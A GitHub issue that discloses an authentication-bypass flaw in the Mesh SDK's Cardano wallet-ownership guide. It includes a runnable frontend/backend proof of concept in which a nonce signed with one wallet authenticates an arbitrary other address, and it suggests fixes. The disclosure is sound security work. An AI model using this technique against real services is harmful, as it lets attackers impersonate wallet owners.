You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In the above official guide, the process to verify that you own a certain wallet address is depicted.
But I found a way through which I can verify authenticate any address of my choice, by signing data through the wallet I own.
That is, I might not be actually owning a wallet address, but I can provide that wallet address to the backend, and it will be authenticated, which is a major security fault.
The figure below shows how can someone fool the system:
Steps:
Send any address to generate nonce
Get the nonce and sign it (using your wallet)
Send the signature and that address for which the nonce was generated to the backend
The backend fetches the nonce for that address, and verifies the signature for that nonce
Signature gets verified successfully, and that targeted address gets authenticated
Possible solutions
The checkSignature() function should be upgraded to take more arguments.
Cardano Foundation's verifyDataSignature() function takes the plain text message and wallet address as additional arguments, which can be used to verify if the specified wallet address is the one who signed the message. https://github.com/cardano-foundation/cardano-verify-datasignature
There might be some other solution which I'm not sure about:
signData() returns an object containing a signature and a key
If that key is related to the account used for signing the message, then inside the checkSignature() function, either the key should be extracted from a specified 'userAddress', or vice-versa (whichever is technically feasible). Then the key and the provided address should be matched. The specified 'userAddress' can be called to be the signer of the message only if it is linked to that key. Otherwise the authentication should fail.
// frontend.jsconst{ MeshWallet }=require("@meshsdk/core");const{ backendGetNonce, backendVerifySignature }=require("./backend");varwallet=null;constotherAddress="stake_test1AbcD";varnonce=null;asyncfunctionfrontendGenerateWallet(){wallet=newMeshWallet({networkId: 0,key: {type: "mnemonic",words: newArray(24).fill("solution")},});}asyncfunctionfrontendStartLoginProcess(){console.log("Start login process...");constuserAddress=(awaitwallet.getRewardAddresses())[0];console.log("Wallet address to register / sign-in with:",otherAddress);console.log("My owned wallet address:",userAddress);// Send request with 'otherAddress' to the backend, instead of the owned addressnonce=awaitbackendGetNonce(otherAddress);}asyncfunctionfrontendSignMessage(){console.log("\nSigning message...");try{// Sign data with owned wallet addressconstuserAddress=(awaitwallet.getRewardAddresses())[0];constsignature=awaitwallet.signData(nonce,userAddress);// Send request with 'signature' and 'otherAddress' to the backendawaitbackendVerifySignature(otherAddress,signature);}catch(error){console.error(error);}}module.exports={
frontendGenerateWallet,
frontendStartLoginProcess,
frontendSignMessage,};
// backend.jsconst{ checkSignature, generateNonce }=require("@meshsdk/core");constuserDbStore={};// { userAddress: nonce }asyncfunctionbackendGetNonce(userAddress){constnonce=generateNonce("Sign to login in to Mesh: ");// Store nonce in user model in the databaseuserDbStore[userAddress]=nonce;// console.log("Nonce:", nonce);returnnonce;}asyncfunctionbackendVerifySignature(userAddress,signature){// Get 'nonce' from user (database) using 'userAddress'constnonce=userDbStore[userAddress];constresult=checkSignature(nonce,signature);// do: update 'nonce' in the database with another random string// do: do whatever you need to do, once the user has proven ownership// it could be creating a valid JSON Web Token (JWT) or session// it could be doing something offchain// it could just be updating something in the databaseif(result===true){console.log("Backend: this user address is authenticated:",userAddress);}returnresult;}module.exports={
backendGetNonce,
backendVerifySignature,};
Start login process...
Wallet address to register / sign-in with: stake_test1AbcD
My owned wallet address: stake_test1uzw5mnt7g4xjgdqkfa80hrk7kdvds6sa4k0vvgjvlj7w8eskffj2n
Signing message...
Backend: this user address is authenticated: stake_test1AbcD
The text was updated successfully, but these errors were encountered:
Prove Wallet Ownership guide: Fake Authentication Vulnerability
https://meshjs.dev/guides/prove-wallet-ownership
The figure below shows how can someone fool the system:
Steps:
Possible solutions
https://github.com/cardano-foundation/cardano-verify-datasignature
There might be some other solution which I'm not sure about:
Additional context
Here's the code which proves that the process described in the guide (https://meshjs.dev/guides/prove-wallet-ownership) won't work.
Run:
Output:
The text was updated successfully, but these errors were encountered: